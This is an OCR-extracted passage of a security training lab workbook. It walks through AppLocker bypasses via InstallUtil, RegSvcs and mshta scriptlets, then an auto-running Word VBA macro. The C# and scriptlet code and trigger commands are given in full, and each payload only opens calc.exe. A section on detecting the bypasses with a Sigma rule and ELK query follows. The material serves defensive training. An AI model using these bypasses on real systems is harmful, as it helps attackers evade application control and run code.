Welcome!
Connect to all your developer services.

Sign in to start using your Azure credits, publish code to a private Git
repository, sync your settings, and unlock the IDE.

Learn more

Sign in

No account? Create one!

Not now, maybe later,
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Once registration is finished, on the welcome screen, please click the "Create a new project” tile
to proceed.

| Visual Studio 2019

Open recent Get started

As you use Visual Studio, any projects, folders, or files that you open will show up

here for quick access. E‘L Clone or check out code

:;u can pin anything that you open frequently so that it's always at the top of the Sf;z?:é:::g:: Chine GEposipn it e lon U

ﬂ’ﬁ Open a project or solution

Open a local Visual Studio project or .sin file

@ Open a local folder

Navigate and edit code within any falder

"'@ Create a new project

Choose a project template with code scaffolding
to get started

Continue without code »

From the Create a new project window, filter all templates by typing in the filter console
App at the top of the window. Select the outlined Console App (.NET Framework) template
which uses C# and press the Next button.
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Create a new project

Recent project templates

A list of your recently accessed templates will be
displayed here.

The Configure your new project window prompts you for a project name. We will use
InstallUtilBypass as name, make sure the solution is in the same directory, and leave other

All Languages -

Ex

=i

L

Search for templates (&1t+5) P~

All Platforms - All Project Types

Console App (NET Framework)
A project for creating a command-line application

G Windows Conscle

Windows Forms App (NET Framework)

A project for creating an application with a Windows Forms (WinForms) user interface
c# Windows Desktop

Class Library (NET Framework)

A project for creating a C# class library (.dll)
c# Windows Library

Class Library (NET Core)

A project for creating a class library that targets .NET Core.
C# Windows Linux macOS Library

Unit Test Project (NET Framework}

A project that contains MSTest unit tests,
c# Windows Test

*Unit Test Project (NET Core)

ik nat facte Hhat ea man NET Care

Back ‘ Next

settings to their default value. Once completed, proceed with the create button.
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Configure your new project

Console App ((NET Framework) < Windows  Consoi

Project narme

IrestallltBypass ‘

Lacation

CAllsers\studentisourcelrepas T

Solution narie @

|Z| Place solution and project in the-same directany

Framewark

| JMET Frarmeweark 47,2 -

If everything went well, Visual Studio should provide you with a similar view only differing by
theme.
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Dq File  Edit View Project Build Debug Test  f&nalyze Tools  Bdensions  Window  Help

OO0 B WP DO -] Debug ~ AnyCPU - P Stert v | BY _ by OF |

Prograrn.cs® & X

InstalllMilBypass » | % InstallUtilBypass.Progrs
Elusing System;
jsing System.(Collections.Generic;

using System.ling;

TR W =

4 using System.Text;
b

%0g|oo| 4zi0]dxg 13188
v

5 | using System.Threading.Tasks;

[Enamespace InstallUtilBypass

s [{

9 = class Program

10 {

11 El static void Main(string[] args)
i2 {

13 }

14 }

15 ¥

Step 2: Creating the Payload Logic

With our default project created, we need to implement our malicious logic. In order to keep it
simple, we will rely on opening calc.exe asa Proof of Execution.To do so, we first of all
need to use an additional import. Append the following snippet after the already present
using statements.

using System.Diagnostics;

The System.Diagnostics namespace provides classes that allow you to interact with
system processes, event logs, and performance counters.

Source: docs.microsoft.com

Creating the logic itself can then be done in the program's Main method. Go ahead and
complete the method's body with the following instructions.

Process calc = new Process();
calc.StartInfo.FileName = "calc.exe'";
calc.Start();

calc.WaitForExit();

172 © 2021 NVISO and James Shewmaker

Technet24


https://technet24.ir
https://technet24.ir

Once completed, your Visual Studio workspace should look like the below screenshot:

n File  Edit \fiew Froject Build Debug Test Analyze Tools  Bdensions  MWindow  Help Search (Ctrl+Q) yeol

LR

il
I

@v‘-ii‘ﬁ":., ﬂ.f|9v{"- Debug  ~  fny CPU - )Startv|ﬂ=fgﬁ‘

Program.cs* & X

L7 ]
(1]
<
o InstalllltilBypass .[ b InstallUtilBypass.Pragram
'g_. 1 Elusing System;
@ 2 System.Collectiens.Generic;
3 ! System.Ling;
g‘ 4 using System.Text;
g 5 using System.Threading.Tasks;
% 6 ~using System.Diagnostics;
7
8 Einamespace InstallUtilBypass
9 {
18 =) class Program
11 {
12 E static void Main(string[] args)
13 {
14 Process calc = new Process();
15 calc.StartInfo.FileName = “calc.exe";
i6 calc.Start();
17 calc.WaitForExit();
18 }
19 ¥
20 T
21

Step 3: Referencing the System.Configuration.Install
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Signin A, = X

(& Live Share R m

Solution Explorer * O X
co@E- o-5GdBE| K=
Search Solution Explorer {(Ctrl+2) | P~
fa] Solution 'lnstaIIUtiFBypasﬁ* (1 of 1 project)

4 InstallUtilBypass

b M Properties

b a-| Rgfﬁ““-":'.'. -
¢ Bpr Add Reference...

b Pros Add Service Reference...

+

Add Connected Service
Add Analyzer...

53

Manage NuGet Packages...

Scope to This

New Solution Explorer View

The Reference Manager - InstallUtilBypass window enables us to reference additional
libraries. Filter the entries using the Install keyword and ensure the

System.Configuration.Install library is checked. Once done, press the ok button to apply
the changes.

The System.Configuration.Install namespace provides classes that allow you to write

custom installers for your own components. The Installer class is the base class for all
custom installers in the .NET Framework.

Source: docs.microsoft.com
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Reference Manager - InstallUtilBypass ? X
4 Agsemblies install =

Framewaork MName Wersion
Extensions Systern.Configuration.Install 4,000
Recent

Search Results:

P Projects
c.exe";

b Shared Projects
b COM

b Browse

Browse... H 0K “ Cancel

Step 4: Adding the Installutil

public override void Uninstall(System.Collections.IDictionary savedState)

{

Program.Main(null);
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b File

@0 B-2 MM 9 -0 .| Debug - AnyCRU - P St | _EE = e | OH R -

Edit  Viemat Project Build Debug Test Analyze Tools  Bdensions  Window  Help Search (Ctrl +Q) pel InstallUtilBypass

S'z‘? Prograrn.cs® & X
% @}nstaIIUtilByipass -1‘l:1n;talI|Jt|lE:';;vpas;:Prc»grarn -[@ Un
'g_. 1 Elusing System;
o 2 System.Collections.Generic;
g 3 sing System.Ling;
g-‘ 4 System.Text;
6; 5 ing System.Threading.Tasks;
# 6 | using System.Diagnostics;
J
8 Fnamespace InstallUtilBypass
o ||¢
1e [System.ComponentModel.Runinstaller (true)]
11 =] public class Program : System.Configuration.Install.Installer
12 ‘ {
13 =| static void Main(string[] args)
14 {
i5 Process calc = new Process();
16 calc.StartInfo.FileName = “calc.exe";
17 calc.Start();
18 calc.WaitForExit();
19 }
20
21 g public override void Uninstall(System.Collections.IDicticnary savedState)
22 5
23 .Main(null);
24 }
25 _ }
26 ¥
27

For your convenience, you can find the full expected code below:

using System;
using System.Collections.Generic;
using System.Ling;
using System.Text;
using System.Threading.Tasks;
using System.Diagnostics;
namespace InstallUtilBypass
{
[System.ComponentModel.RunInstaller (true)]
public class Program : System.Configuration.Install.Installer
{
static void Main(string[] args)
{
Process calc = new Process();
calc.StartInfo.FileName = "calc.exe'";
calc.Start();
calc.WaitForExit();
}
public override void Uninstall(System.Collections.IDictionary savedState)
{
Program.Main(null) ;
}
}
}
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Step 5: Compiling the Payload

With our malicious payload ready, go ahead and compile the executable. To do so, click the
Build tab from the Visual Studio top menu and use the Build Solution entry.

m File  Edit ‘iew Project | Build | Debug Test Apalyze Tools  Edensions  ‘Window  Help

- o e et |
B ~ W N =2 Build Solution Ctrl +Shift+8 | =
L 0-0 | B-% a9 b= E | =
Rebuild Solution |
g Prograrmics & X Clean Solution -
?‘n lnstaﬂUtilBy;{ass - ‘ Run Code &nalysis on Solution Alt+F11 __I_B}f_pass.Progra
T 1 Flusing System;| ; i
% 5 using System, krd  Build InstallUtilBypass Ctrl+B
L 3 using System. Rebuild InstallUtiiBypass
3 ¥ using System. Clean InstallUtilBypass
=3 5 using System.| _ . )
=) 6 using System._”ﬁT Fublish InstallUtilBypass
7 Run Code Snalysis on InstalllUtilBypass
3 [Einamespace Ins )
o J|¢ Batch Build...
10 [System.C Canfiguration Manager...

= public class Program : System.Configuration.Install.Installer

{

bt et

L]

Once done, the bottom pane will display the path at which you will be able to find your
compiled payload.

1> InstallUtilBypass ->
C:\Users\student\source\repos\InstallUtilBypass\bin\Debug\InstallUtilBypass.exe
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Step 6: Confirm AppLocker is Working

Copy the previously created InstallUtilBypass.exe file over RDP to the AppLocker-enabled
computer (192.168.20.105 ). We can do this by opening an RDP connection to
192.168.20.105 using the sec699-20.1lab\student user (password Sec699!! ) and pasting
the executable in a folder we can find later (i.e. %HOMEPATH%\Downloads ).

Once done, proceed to double-click the executable. If everything is well configured, you should
see a similar message.

This app has been blocked by your system
administrator.

Contact your system administrator for more info.

Copy to clipboard

Step 7: Bypass AppLocker

To bypass the limitation, open a command prompt and use InstallUtil.exe to trigger our
hook. Note that the version ( v4.0.30319 ) may differ depending on your setup.

178 © 2021 NVISO and James Shewmaker

Technet24


https://technet24.ir
https://technet24.ir

C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile=
/LogToConsole=false /U %HOMEPATH%\Downloads\InstallUtilBypass.exe

If everything went fine, AppLocker should be bypassed as we successfully spawned the
calculator.

Caiculator

= Standard History Memory

There's no history yet

Objective 3: Bypass AppLocker Using RegSvcs.exe

The next AppLocker bypass we will attempt involves using Regsvcs and Regasm:

T1121 - Regsvc / RegAsm

Regsvcs and Regasm are Windows command-line utilities that are used to register .NET
Component Object Model (COM) assemblies. Both are digitally signed by Microsoft.

Adversaries can use Regsvcs and Regasm to proxy execution of code through a trusted
Windows utility. Both utilities may be used to bypass process whitelisting through use of
attributes within the binary to specify code that should be run before registration or
unregistration: ComRegisterFunction Or ComUnregisterFunction respectively. The code
with the registration and unregistration attributes will be executed even if the process is
run under insufficient privileges and fails to execute.

Source: attack.mitre.org

The Assembly Registration tool reads the metadata within an assembly and adds the
necessary entries to the registry, which allows COM clients to create .NET Framework
classes transparently. Once a class is registered, any COM client can use it as though the
class were a COM class. The class is registered only once, when the assembly is installed.

© 2021 NVISO and James Shewmaker 179


https://technet24.ir

Instances of classes within the assembly cannot be created from COM until they are
actually registered.

Source: docs.microsoft.com

Step 1: Creating the Payload Project

In order to leverage the RegSvcs.exe bypass, we'll again use the CommandoVM machine to
prepare a payload. Please open Visual Studio 2019 from the Desktop by right-clicking it and
running it as an administrator. You should be given the ability to create a new project. Click the
Create a new project tile to proceed.

| Visual Studio 2019

Open recent Get started
As you use Visual Studio, any projects, folders, or files that you open will show up
here for quick access. I:l‘l’ Clone or check out code

5 : ; ’ Get code from an online repository like GitHub
You can pin anything that you open frequently so that it's always at the top of the 4
o pin anything you op q y ¥ E or Azure DevOps

<‘)@ Open a project or solution

Open a local Visual Studio project or .sin file

- Open a local folder

Navigate and edit code within any folder

+@ Create a new project

Choose a project template with code scaffolding
to get started

Continue without code »

From the Create a new project window, filter all templates using the Console App C# terms.
Select the beneath outlined "Console App (.NET Framework)" template which uses C# and
press the Next button.
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Create a new project o-

Recent project tem p|ates All Languages i All Platforms - All Project Types

A list of your recently accessed templates will be

c#
displayed here. E Console App (NET Framework)

A project for creating a command-line application

c# Windows Consgle

Dcfl! Windows Forms App (NET Framework)
A project for creating an application with 3 Windows Forms (WinForms) user interface

c# Windows Desktop

ﬂic!" Class Library (NET Framework)
& A project for creating a C# class library (.dll}

c# Windows Library

nﬁi Class Library (NET Core)
& A project for creating a class library that targets .NET Core.

C# Windows Linux macOS Library

rc’ Unit Test Project (.NET Framework}
a A project that contains MSTest unit tests,

C# Windows Test

ﬁc’ *Unit Test Project (NET Core)

Initnat facte that canfun.on NETC

Back ‘ Next

The Configure your new project window prompts you for a project name. We will use
RegSvcsBypass as name; make sure the solution is in the same directory, and leave other
settings to their default value. Once completed, proceed with the create button.
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Place solution and project in the-sarme directany

If everything went well, Visual Studio should provide you with a similar view only differing by
theme.

|
w File  Edit  View Project Build Debug Test Analyze Tools  Bxensions  ‘Window Help Search (Ctrl+Q) yel RegSvesBypass
Po-0 B-2 @ 0 -0 - Debug - AnycPU ~ pstart - | B _H R UE| = =M AR -

Prograrn.cs & X

[€#] ReqivesBypass —l“%RegSvcsBypass.Program —le,
1% FEusing System;
2 using System.Collections.Generic;
3 using System.Ling;
4 using System.Text;
5 using System.Threading.Tasks;
6
7 =lnamespace RegSvcsBypass
g [{
9 =] class Program
1e {
1 = static void Main(string[] args)
12 {
13 }
14 }
15 }

Step 2: Creating the Payload Logic
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With our default project created, we need to implement our malicious logic. In order to keep it
simple, we will rely on opening calc.exe asa Proof of Execution.To do so, we first of all
need to use an additional import. Append the following snippet after the already present
using Sstatements.

using System.Diagnostics;

Creating the logic itself can then be done in the program's Main method. Go ahead and
complete the method's body with the following instructions.

Process calc = new Process();
calc.StartInfo.FileName = "calc.exe'";
calc.Start();

calc.WaitForExit();

Your Visual Studio workspace should like the below screenshot.

m File  Edit  Miew Project Build Debug Test Analyze Tools  Bdensions Window Help Search (Ctrl +Q) P RegSvesliypass
C@-0 F-2 W 9D - - Debug - AnyCPU - b St~ | B _GdEE e MWL

Program.cs* & X
RegSvesBypass - l S RegSecsBypass Program - [ Dl

Husing Sys

5 using System.Threading.Tasks;
using System.Diagnostics;

xog|oo) J4ado0[dxgdaniag

-Inamespace RegSvcsBypass

1
ie =] class Program
11 {

= static void Main(string[] args)
{

14 Process calc = new Process();
15 calc.StartInfo.FileName = "calc.exe";
16 calc.Start();
7 calc.WaitForExit();|
18 | 3
| ¥
20 }

Step 3: Referencing the System.EnterpriseServices

Add
Reference.. entry.
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| Live Share &7 m

Solution Explorer * 0 X
COoRE-o-SCIBm| K-

Search Solution Explorer {(Ctrl+2) P -
fa] Solution 'lnﬂ‘{a”UtiFBypEﬂ;* {1 of 1 project)

4 InstallUtilBypass

b M Propetties

b 8| Rﬁ‘fﬁ““' aim
¢ Lpp Add Reference...

b Pros Add Service Reference...

+

Add Connected Service
Add Analyzer...

Manage NuGet Packages...

B

Scope to This

New Solution Explorer View

The Reference Manager - RegSvcsBypass window enables us to reference additional libraries.
Filter the entries using the Enterprise keyword and ensure the System.EnterpriseServices
library is checked. Once done, press the ok button to apply the changes.

The System.EnterpriseServices namespace provides an important infrastructure for
enterprise applications. COM+ provides a services architecture for component
programming models deployed in an enterprise environment. This namespace provides

.NET objects with access to COM+ services making the .NET Framework objects more
practical for enterprise applications.

Source: docs.microsoft.com
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Reference Manager - ReqSvcsBypass
4 Assemblies

Framework
Extensions vl
Recent
Search Results
P Projects
P Shared Projects
b COM

P Browse

Marne Wersion
Systern. EnterprizeServices 4.0.0.0

Enterprise x

Name:
Systern.EnterpriseSenvices
Created by:

Micrasoft Carporation
Version:

40.00
File Version:

4.7.3062.0 built byt NETATZRELT

-

Browwse.., I ‘ 0K | l Cancel
Step 4: Adding the RegSvcs
using System.EnterpriseServices;
using System.Runtime.InteropServices;
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4. Create a default constructor for the class. After the Main method, define the following
method which will simply call our initial entry.

public Program() {
Program.Main(null);

5. Create a ComRegisterClass -decorated method which is the registration hook used by
RegSvcs . After the Program default constructor, define the following method which will
simply call our initial entry.

[ComRegisterFunction]
public static void RegisterClass(String key)

{

Program.Main(null) ;

6. Create a ComUnregisterClass -decorated method which is the unregistration hook used
by RegSvcs . After the RegisterClass method, define the following method which will
simply call our initial entry.

[ComUnregisterFunction]
public static void UnregisterClass(String key)

Program.Main(null) ;
w File Edit View Project Build Debug Test Analyze Tools Edensions Window Help Search (Ctrl+Q) P RegSvesBypass
©-0 @2 B9 - Debug - AnycPU - P Sate | BB =R AN

®
g Program.cs # X
&
B (G Re g S sBypass ~| %2 RegSucshypass.Pragram | @, Maingstring() args)
o !
s 1 Slusing System; g
g a
3
§ S ing.Tasks;
% using System.Diagnostics; a2
using System.EnterpriseServices;
3 using System.Runtime.InteropServices;

“inamespace RegSvcsBypass

public class Program : ServicedComponent

14 E static void Main(string[] args)
1 {

ess calc = new Process();
calc.StartInfo.FileName = "calc.exe”;
calc.Start();
calc.WaitForExit();

}

public Program()
{
24 _Main(null);
S }
[ConRegisterfunction]
public static void RegisterClass( ey)

{
}

Main(null);

[ComUnregisterFunction] =

100%  ~ @ No issues found v

For your convenience, you can find the full expected code below:
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using
using
using
using
using
using
using
using

System;
System.Collections.Generiic;
System.Ling;

System.Text;
System.Threading.Tasks;
System.Diagnostics;
System.EnterpriseServices;
System.Runtime.InteropServices;

namespace RegSvcsBypass

{

public class Program : ServicedComponent

{

static void Main(string[] args)

{
Process calc = new Process();
calc.StartInfo.FileName = "calc.exe'";
calc.Start();
calc.WaitForExit();

}

public Program()

{
Program.Main(null);

}

[ComRegisterFunction]
public static void RegisterClass(String key)
{

Program.Main(null) ;

}

[ComUnregisterFunction]
public static void UnregisterClass(String key)
{

Program.Main(null);

}

Once completed, please save your changes: File -> Save Program.cs!

Step 5: Creating Signhing Keys

The RegSvcs utility requires the payload to be signed. To do so, proceed to open a Visual
Studio Command Prompt by clicking the Developer Command Prompt entryinthe Command
Line submenu found in Visual Studio's Tools tab.
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Dq File  Edit View Froject Builld Debug Test  Analyze

F@-0 @3- W90 - Debug ~ ABnyCPU

vy
g' Program.cs® & X
i [#] RegSvesBypass
-:6: = & [ UsINg T SysteEm. RunTIme . [nTeropservicesy
o 9
= ie Elnamespace RegSvcsBypass
5t 12 {
Q_ & relerences
g 12 El public class Program
13 {
14 El static void Main(string[] args)
15 {
16 Process calc = new Process();
17 calc.StartInfo.FileName = “cal
18 calc.Start();
19 calc.WaitForExit();
20 }
21
2 El public Program()
23 {
24 am.Main(null);
25 }

Tools | Extensions  Window

¢
"]
Fm
=

to]

Get Tools and Features...

Connect to Database...

Connect to Senvet..,

Code Snippets Manager...
Choose Toolbox Iterns...
MuGet Package Manager

Create GUID

Error Lookup

Spy++

Exdternal Tools...

Cofrirmand Line

Import and Expart Settings...

Custormize...

Optians...

Help

Search (Ctrl+Q) po RegSvesBypass

Ctrl+K, Ctrl +B

4

Developer Carnmand Prampt

Developer PowerShell

From within the newly opened command-line prompt, proceed to generate a new key pair
using the below command:

sn -k key.snk

In case sn cannot be found, run the sn command from an elevated command prompt as such:
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Open the elevated prompt:

B Command Prompt

Services L5 Run.as administrator

Setiings 1 Open file location

= Replace Comimar, = Pinto Start
Windows PowerS

= Pin to taskbar

Run the following command in the opened prompt:

"C:\Program Files (x86)\Microsoft SDKs\Windows\v10.0A\bin\NETFX 4.8
Tools\sn.exe" -k "C:\Users\student\source\repos\RegSvcsBypass\key.snk"

hhkkhkkhkhkhkkhkkhkkhkkhkhkhkhkkhkkhkkhkhkhkhkkhkkhkkhkkhkhkhkhkkhkkhkkhkhkhkhkhkkhkkhkkhkhkhkkhkkhkkhkkhkhkhkhkkhkkhkkhkkhkhkhkkhkkhkkhkkhkhkhkhkkhkkhkkhkkhkhkkhkkhkkkk
*x Visual Studio 2019 Developer Command Prompt v16.4.5

**% Copyright (c) 2019 Microsoft Corporation
hhkhkkhkkhkhkkhkhkkhkhkkhkkhkhkkhkkhkhkkhkhkkhkhkhkkhkhkhkkhkhkkhkhkkhkhkhkhkhkkhkhkhkhkkhkhkkhkhkkhkhkhkkhkhkkhkhkhkhkkhkhkkhkhkhkkhkkhkhkkkkhkhkkkkxk

COMMANDO Fri ©3/27/2020 9:51:10.87
C:\Users\student\source\repos\RegSvcsBypass>sn -k key.snk

Microsoft (R) .NET Framework Strong Name Utility Version 4.0.30319.0
Copyright (c) Microsoft Corporation. All rights reserved.

Key pair written to key.snk
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Step 6: Compile the Payload

With the key pair generated, we can compile our signed executable from the previously opened
developer command prompt. To do so, use the Visual Studio provided csc utility as outlined
below.

csc /r:System.EnterpriseServices.dll /target:exe /out:RegSvcsBypass.exe
/keyfile:key.snk Program.cs

Microsoft (R) Visual C# Compiler version 3.4.1-beta4-19614-01 (16504609)
Copyright (C) Microsoft Corporation. All rights reserved.

You will be able to find the compiled executable in the same path which should default to

C:\Users\student\source\repos\RegSvcsBypass\RegSvcsBypass.exe .

Step 7: Confirm AppLocker's Working

Copy the previously created RegSvcsBypass.exe file over RDP to the AppLocker-enabled
computer (192.168.20.105 ). We can do this by opening an RDP connection to
192.168.20.105 using the sec699-20.1lab\student user (password Sec699!! ) and pasting
the executable in a folder we can find later (i.e. %HOMEPATH%\Downloads ).

Once done, proceed to double-click the executable. If everything is well configured, you should
see a similar message.

This app has been blocked by your system
administrator.

Contact your system administrator for more info.

Copy to clipboard

Step 8: Bypass AppLocker
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To bypass the limitation, open a console and use RegSvcs.exe to trigger our hook. Note that
the version (v4.0.30319 ) may differ depending on your setup.

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
%HOMEPATH%\Downloads\RegSvcsBypass.exe

Microsoft (R) .NET Framework Services Installation Utility Version 4.7.3190.0
Copyright (C) Microsoft Corporation. All rights reserved.

The following installation error occurred:

1: You must have administrative credentials to perform this task. Contact your
system administrator for assistance.

2: Failed to register assembly 'RegSvcsBypass, Version=0.0.0.0,
Culture=neutral, PublicKeyToken=4b1425595725695b"'.

3: Access to the registry key 'HKEY_CLASSES_ROOT\RegSvcsBypass.Program' -s
denied.

If everything went fine, AppLocker should be bypassed as we successfully spawned the
calculator.

Calculator

= Standard History  Memory

There's no history yet

Objective 4: Bypass AppLocker using mshta.exe

T1170 - MsHta

Mshta.exe is a utility that executes Microsoft HTML Applications (HTA). HTA files have the
file extension .hta.HTAs are standalone applications that execute using the same
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models and technologies of Internet Explorer, but outside of the browser.

Adversaries can use mshta.exe to proxy execution of malicious .hta files and Javascript
or VBScript through a trusted Windows utility. There are several examples of different
types of threats leveraging mshta.exe during initial compromise and for execution of
code.

Files may be executed by mshta.exe through aninline script[...] They may also be
executed directly from URLs [...].

Mshta.exe can be used to bypass application whitelisting solutions that do not account
for its potential use. Since mshta.exe executes outside of the Internet Explorer's security
context, it also bypasses browser security settings.

Source: attack.mitre.org

Step 1: Creating the Payload File

Creating the payload file can be done directly on the target machine as it just relies on a text-
editor. Hence, we will do this in the WIN10 RDP session ( 192.168.20.105 using the sec699-
20.lab\student user and password Sec699!! ) we have opened.

Using notepad (or any other editor), create a MshtaBypass.sct file with the below content:
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<?XML version="1.0"?>
<scriptlet>

<registration
description="SEC699"
progid="SEC699"
version="1.00"
classid="{00000000-0000-0000-0CO-OOEOFEEDACDC}"
>

</registration>

<public>
<method name="Exec'"></method>
</public>
<script language="JScript">
<! [CDATA[

function Exec()

{
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");

11>

</script>

</scriptlet>

In the above snippet, we generate a shell through the new Activexobject("WScript.Shell")
call and spawn the calculator by invoking calc.exe through the object's Run method.

Creating the payload in notepad should look as follows:

| Untitled - Kotepad - o
File Edit Format View Help

<?ANL wersion="1.8"2>

¢seriptlets

<registration
description="SECE99"
progld="SECEa9"
version="1.68"
classid="{000EE00e - G000 -9H00-Eea- GEeaFEEDACDC |
>

|<,t‘registr'-atia’n>
<publico
crethod name="Exec" >¢/method>
¢/public>
cscript language="JScript">
<l [COATA[

function Execi)
{

¥

var: o= new ActiveXObject{*Wicript.Shell®).Run{*calc.exe™);

11>

<fsoripty

¢/scriptlet>

itindaws (ZRLF) L 12, ol 10034
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Step 2: Save Payload File

With the payload logic made, we now have to save the file. This is done by selecting the save
As.. entry located in the File tab.

Once clicked, the save As.. entry opens the save As window in which we can save our
payload on the Desktop using, for example, MshtaBypass.sct as name. Once done, press the
Save button to ensure the file is written.
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Step 3: Bypass AppLocker

Using the following command enables us to bypass AppLocker by loading the contents of the
script and executing the Exec function which spawns the calculator. Note that the file's
escaped URL ( file://C:/Users/student/Downloads/MshtaBypass.sct ) may differ depending
on your setup.

mshta.exe javascript:a=
(GetObject("script:file://C:/Users/student/Downloads/MshtaBypass.sct")).Exec();close

\Usepshstudent?

Calculator

= Standard = History  Memory

There's no history yet

Objective 5: Detecting AppLocker Bypasses

We have tested 3 different ways of bypassing AppLocker, all relying on built-in Windows
executables. These techniques could be blocked, as we could develop explicit AppLocker rules
to block the execution of [installutil.exe, regsvcs.exe Or mshta.exe for users that do not
need it. There is usually no valid reason for non-developers to use these tools.

As prevention is not always feasible, we'll focus on detection strategies in this part of the lab.
In order to execute this part of the lab, please exit all RDP sessions you may still have open and

fall back to your CommandoVM machine.

Step 1: Required Log Sources

Windows event logs
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Event ID 4688(S): A new process has been created
This event generates every time a new process starts.

Source: docs.microsoft.com

Sysmon

Event ID 1; Process creation

The process creation event provides extended information about a newly created
process. The full command line provides context on the process execution. The
ProcessGUID field is a unique value for this process across a domain to make event
correlation easier. The hash is a full hash of the file with the algorithms in the HashType
field.

Source: docs.microsoft.com

Step 2: Detection Logic

As the typical AppLocker bypass strategies are not commonly seen during normal user activity,
detection is not that hard. Florian Roth's Sigma repository includes a rule that can be used for
detection:
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title: Possible Applocker Bypass

id: 82al9e3a-2bfe-4a291-8c0d-5d4c98fbb719

description: Detects execution of executables that can be used to bypass Applocker
whitelisting

status: experimental

references:

https://github.com/subTee/ApplicationWhitelistBypassTechniques/blob/master/TheList.t

- https://room362.com/post/2014/2014-01-16-application-whitelist-bypass-using-
ieexec—-dot-exe/
author: juju4
date: 2019/01/16
tags:
- attack.defense_evasion
- attack.t1118
- attack.tl121
- attack.t1127
- attack.tl1170
logsource:
category: process_creation
product: windows
detection:
selection:
CommandLine|contains:
- '"\msdt.exe'
"\installutil.exe'
- '"\regsvcs.exe'
- '"\regasm.exe'
# - '\regsvr32.exe' # too many FPs, very noisy
- '"\msbuild.exe'
- '"\ieexec.exe'
#- '\mshta.exe'
#- '\csc.exe'
condition: selection
falsepositives:
- False positives depend on scripts and administrative tools used in the
monitored environment
- Using installutil to add features for .NET applications (primarly would
occur in developer environments)
level: low

Source: github.com/Neo23x0/sigma/

Step 3: Detect our Bypasses

If we apply the above detection logic on our ELK stack, we would end up with the below query
which:

e Filters for event ID 1 (Sysmon) or 4688 (Windows).
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e Looks for typically executables used as part of the bypasses.

event.code:

(1 or 4688) and process.executable.text: (*msdt.exex or

*installutil.exex or *regsvcs.exe* or *regasm.exe* or *regsvr32.exex or
*msbuild.exex or *ieexec.exex or *mshta.exe*x or *csc.exex)

As you can see, this community SIGMA rule successfully detects the bypasses demonstrated in

this lab:

o G

Count
n

Time «

» Mar 31,

2 Mar EH,

2 Mar 27,

3 Mar 27,

2828 & §8:89:27 .B75

2028 € 89:18:36.952

2628 € 89:10:69.723

2828 £ §8:21:49.619

Conclusions

4 hits
Mar 17, 2020 @ 09:34:31,203 - Mar 31, 2020 @ 15:30:47.941 —  Auto o

H-D3-22 3000 EI-23 0000 2020-03-28 0000 2000-03-28 00:00 020-03-30 Gl:oL
@timestamp per 12 hours
process.args
mshta.exe jevascript:a=({GetObject( script:file://C:/Users/Student/Downloads/MshtaBypass.set”)) Exec() close();
C:\Windows\Microsoft . NET\Framework\vd.8.38319\RegSves.exe \Users'student\Downloads'RegSvcsBypass.exe

C:\Windows\Wicrosoft . NET\Framework\vd4.&.38319\RegSves.exe \Users\student'\Downloads\RegSvcsBypass.exe

C:\Windows\Microsoft NET\Framework\v4.8.38319\Installltil exe [logfile= /LogToConsole=false /U \Users\student\Dowr
loads\InstallutilBypass.exe

During this lab, we demonstrated the following highly useful skills:

e How to deploy a default AppLocker ruleset

e How to bypass AppLocker using T1118 - InstallUtil

e How to bypass AppLocker using T1121 - Regsvcs / RegAsm

e How to bypass AppLocker using T1170 - Mshta

e How the bypasses can be detected using an existing SIGMA rule

As you can see, successful detection doesn't always involve complex rule development!

After the lab, please stop your target environment. In order to do so, please use the following
command:

cd /home/student/Desktop/lab-manager
./manage.sh destroy_target -t [version_tag] -r [region]

198

© 2021 NVISO and James Shewmaker

Technet24


https://technet24.ir
https://technet24.ir

Exercise 3: Bypassing Attack Surface Reduction

In this lab, we will introduce a simple yet effective way of bypassing one of the Attack Surface
Reduction rules.

Attack Surface Reduction Rules

Attack surface reduction rules target software behaviors that are often abused by
attackers, such as: -Launching executable files and scripts that attempt to download or
run files -Running obfuscated or otherwise suspicious scripts -Performing behaviors that
apps don't usually initiate during normal day-to-day work These behaviors are sometimes
seen in legitimate applications; however, they are considered risky because they are
commonly abused by malware. Attack surface reduction rules can constrain these kinds
of risky behaviors and help keep your organization safe.

Source: docs.microsoft.com

We will first demonstrate a way of bypassing Attack Surface Reduction (ASR) rules, after which
we will analyse opportunities for detection!

Lab Setup and Preparation
Please start your target lab environment using the following commands on the student VM:

cd /home/student/Desktop/lab-manager
./manage.sh deploy -r [region] -t [version_tag]

Once the environment is deployed, please start the lab from the CommandoVM.

Objective 1: Detecting a typical VBA Macro

As a first step in this lab, we'll demonstrate a very simple VBA macro that will execute calc.exe.
We will also illustrate how easy it is to detect these using simple logic.

Step 1: Creating a Malicious Word Document

We will use the Win10 machine (192.168.20.105), on which MS Office has been installed. Please
open a Remote Desktop connection to 192.168.20.105 with username student_ladm an
password Sec699!!).

From this machine, use Windows' search function to locate the "Word" executable.
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£ word|

Once launched, you might be greeted by a sign-in prompt which you can disregard using the
top-right closing button.
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You can then select a new "Blank document” from the "New" section, which is where we will start
placing our malicious payload.

Step 2: Creating a new Macro
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From the new empty document, use Word's search-bar to open the "Visual Basic Editor" as
shown below.

B Misual Basic Edite]

Best Action

@ Wisual Basic Editor

Get Help an

Find in Document
D “Visual Basic Editor
S, oresults

B Mare search fesults for "Visus! Basic Editor

As soon as the editor opens, right-click "ThisDocument" and, from the "Insert" entry, select the
"Module" option.

“ieor Code

=2 .!;"leka_:;}gct

Toggle Folders
Project Properties.,,

[ nsen Bi= 2
e

ExportFile.., #3  Class Module
¥ Fhigtiae .

He oy

Print..

&
Dockable

= Hide

In the below displayed "Module1 (Code)" pane, we may now proceed to write our VBA code.
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9 Microsoft Visual Basic for Applications - Sec6a3 - o X
© Eile Edit Wew [nsert Forriat Debug  Buw Tools  Add-ns Mfindow Help

|E-dl 2 s@maac iy wa e ERY @ n, o
e &

[

Step 3: Writing a simple Macro

To keep things simple, we'll create a very simple piece of VBA code that launches calc.exe,
you can imagine that in a real attack, something more malicious would be executed:

Sub AutoOpen()
Dim strProgramName As String
Dim strArgument As String

strProgramName = "C:\Windows\system32\calc.exe"
strArgument = "/G"

Call Shell("""" & strProgramName & """ """ & strArgument & """",

vbNormalFocus)
End Sub

As you might want to make sure the syntax is correct, feel free to make a test-run using the
green "Run Sub" button outlined in the following capture.
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!j Microsoft Visual Basic for Applications - Vbacode

File Edit View |[nsert Format Debug Run TJools Add-Ins Window Help

WE-E « an ok u A SFE @2l L
"w‘ _‘ 2 ‘.ﬂm e _EI

= = 5]

B Normal TR —————
